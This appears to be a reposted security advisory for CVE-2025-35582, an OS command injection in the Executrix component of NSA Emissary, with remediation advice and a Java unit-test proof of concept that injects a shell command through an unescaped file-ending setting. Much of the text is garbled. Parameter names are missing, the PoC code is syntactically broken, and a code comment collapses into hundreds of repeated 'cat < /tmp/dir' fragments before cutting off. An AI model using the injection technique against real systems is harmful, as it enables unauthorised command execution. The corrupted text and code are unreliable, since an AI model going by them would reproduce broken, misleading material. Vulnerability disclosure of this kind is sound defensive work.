NSA Emissary CVE-2025-35582 OS Command Injection Vulnerability and POC

Vulnerability Summary: Executrix Command Injection Vulnerability Overview Vulnerability Name: OS Command Injection via Unvalidated / in 'Executrix' Vulnerability Type: Operating System Command Injection (CWE-78) Severity: High (CVSS v3 8.8/10) CVE ID: CVE-2025-35582 Core Issue: The component directly concatenates the values of the configuration parameters and into a string when constructing shell commands, without any escaping or validation. Attackers can inject arbitrary OS commands by setting malicious suffix values. Affected Scope: Affected Versions: (Maven) <= 8.42.0 Fixed Version: 8.43.0 Privilege Requirement: No runtime privileges required; only write permission to the configuration file is needed. --- Remediation Upgrade Version: Upgrade to 8.43.0 or later. Code Level: Downstream implementers must ensure strict validation or escaping of configuration values such as and . Currently, the framework lacks such security mechanisms. --- Proof-of-Concept (POC) Code 1. PoC 1: Docker Environment Exploitation Script The following script verifies the vulnerability in a Docker environment by modifying the configuration file to trigger command injection. 2. PoC 2: Java Unit Test Code The following code demonstrates how to directly invoke the API in a Java unit test to trigger command injection. ```java package emissary.util.shell; import org.junit.jupiter.api.Test; import org.junit.jupiter.api.condition.DisabledOnOs; import org.junit.jupiter.api.condition.OS; import org.junit.jupiter.api.io.TempDir; import java.nio.file.Files; import java.nio.file.Path; import static org.junit.jupiter.api.Assertions.assertTrue; / PoC: IN_FILE_ENDING is concatenated into shell paths without escaping. enabling command injection via getCommand(). Mirrors exactly what UnixCommandPlace.runCommand() does: - TempFileNames names = executrix.createTempFileNames(); - String[] cmd = executrix.getCommand(names); - executrix.execute(cmd, ...); */ @DisabledOnOs(OS.WINDOWS) class ExecutrixShellInjectionPoCTest { @Test void testInFileEndingInjectedIntoShellCommand(@TempDir Path tempDir) throws Exception { // Path marker = tempDir.resolve("pwned"); // Backtick substitution: avoids the Java regex $-group issue in replaceAll() // while still demonstrating the shell executes the injected expression. String payload = "touch " + marker.toAbsolutePath() + " "; Executrix executrix = new Executrix(); executrix.setTempDir(tempDir.toString()); executrix.setCommand("cat -i\\nINPUT_PATH\\n"); // mirrors UnixCommandPlace default executrix.setInFileEnding(payload); // No validation - accepted as-is // --- path taken by UnixCommandPlace.runCommand() --- TempFileNames names = executrix.createTempFileNames(); String[] cmd = executrix.getCommand(names); // cmd[2] = "/bin/sh -c ulimit -c 0; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tmp/dir; cat < /tm

Goal Reached Thanks to every supporter — we hit 100%!

NSA Emissary CVE-2025-35582 OS Command Injection Vulnerability and POC

More from this source